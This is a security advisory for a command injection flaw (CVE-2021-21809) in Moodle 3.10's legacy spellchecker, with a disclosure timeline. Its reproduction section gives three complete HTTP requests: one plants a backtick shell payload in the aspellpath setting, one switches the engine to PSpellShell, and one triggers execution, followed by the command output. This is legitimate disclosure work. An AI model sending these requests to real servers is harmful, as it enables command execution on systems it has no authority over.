CVE-2021-21809
A command execution vulnerability exists in the default legacy spellchecker plugin in Moodle 3.10. A specially crafted series of HTTP requests can lead to command execution. An attacker must have administrator privileges to exploit this vulnerabilities.
Moodle 3.10
8.2 - CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:L
CWE-78 - Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)
Moodle is a popular free and open-source learning management system, used by 262 million education users around the world.
Moodle’s security model relies on operating system permissions to prevent arbitrary server-side command execution via the web interface. A typical Moodle installation runs as the web server’s user and according to Moodle’s documentation “It is vital that the [Moodle] files are not writeable by the web server user.” If they are, an administrator can gain code execution trivially by installing plugins through the web interface. Moodle administrators can also specify paths to system binaries, as well as upload files to the Moodle data directory (outside of the web root) via course restoration; arbitrary code execution is prevented only because uploaded files do not have the execute bit set.
To exploit the shell injection vulnerability, the administrator sets a path to the legacy server-side spellcheck binary (aspellpath) containing a backtick shell injection and sets PSpellShell as the spellchecking engine. When a server-side spellcheck is requested, lib/editor/tinymce/plugins/spellchecker/classes/PSpellShell.php uses aspellpath to unsafely construct a shell_exec command. The spellchecker plugin does not have to be enabled.
Reproduction
Set aspellpath. This payload assumes that the Moodle data directory is /var/www/moodledata.
POST /moodle/admin/settings.php?section=systempaths HTTP/1.1
Host: moodle.example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://moodle.example.com/moodle/admin/settings.php?section=systempaths
Content-Type: application/x-www-form-urlencoded
Content-Length: 220
Origin: https://moodle.example.com
Connection: close
Cookie: MoodleSession=XXXXXXXXXXXXXXXXXXXXXXXXXX
Upgrade-Insecure-Requests: 1
section=systempaths&action=save-settings&sesskey=XXXXXXXXXX&return=&s__pathtophp=&s__pathtodu=&s__aspellpath=%60%2Fusr%2Fbin%2Fid+%3E+%2Fvar%2Fwww%2Fmoodledata%2Fpoc%60&s__pathtodot=&s__pathtogs=%2Fusr%2Fbin%2Fgs&s__pathtopython=
Set the spell engine to PSpellShell.
POST /moodle/admin/settings.php?section=tinymcespellcheckersettings HTTP/1.1
Host: moodle.example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://moodle.example.com/moodle/admin/settings.php?section=tinymcespellcheckersettings
Content-Type: application/x-www-form-urlencoded
Content-Length: 334
Origin: https://moodle.example.com
Connection: close
Cookie: MoodleSession=XXXXXXXXXXXXXXXXXXXXXXXXXX
Upgrade-Insecure-Requests: 1
section=tinymcespellcheckersettings&action=save-settings&sesskey=XXXXXXXXXX&return=&s_tinymce_spellchecker_spellengine=PSpellShell&s_tinymce_spellchecker_spelllanguagelist=%2BEnglish%3Den%2CDanish%3Dda%2CDutch%3Dnl%2CFinnish%3Dfi%2CFrench%3Dfr%2CGerman%3Dde%2CItalian%3Dit%2CPolish%3Dpl%2CPortuguese%3Dpt%2CSpanish%3Des%2CSwedish%3Dsv
Invoke the spellcheck using either checkWords or getSuggestions. This step can be performed unauthenticated.
POST /moodle/lib/editor/tinymce/plugins/spellchecker/rpc.php HTTP/1.1
Host: moodle.example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 57
Origin: https://moodle.example.com
Connection: close
{"id":"c0","method":"checkWords","params":["en",["teh"]]}
Results:
root@moodle:~# cat /var/www/moodledata/poc
uid=33(www-data) gid=33(www-data) groups=33(www-data)
2021-03-26 - Vendor Disclosure
2021-04-21 - Vendor updated documentation to suggest best practices after installation
2021-06-22 - Public Release
Discovered by Adam Reiser of Cisco ASIG.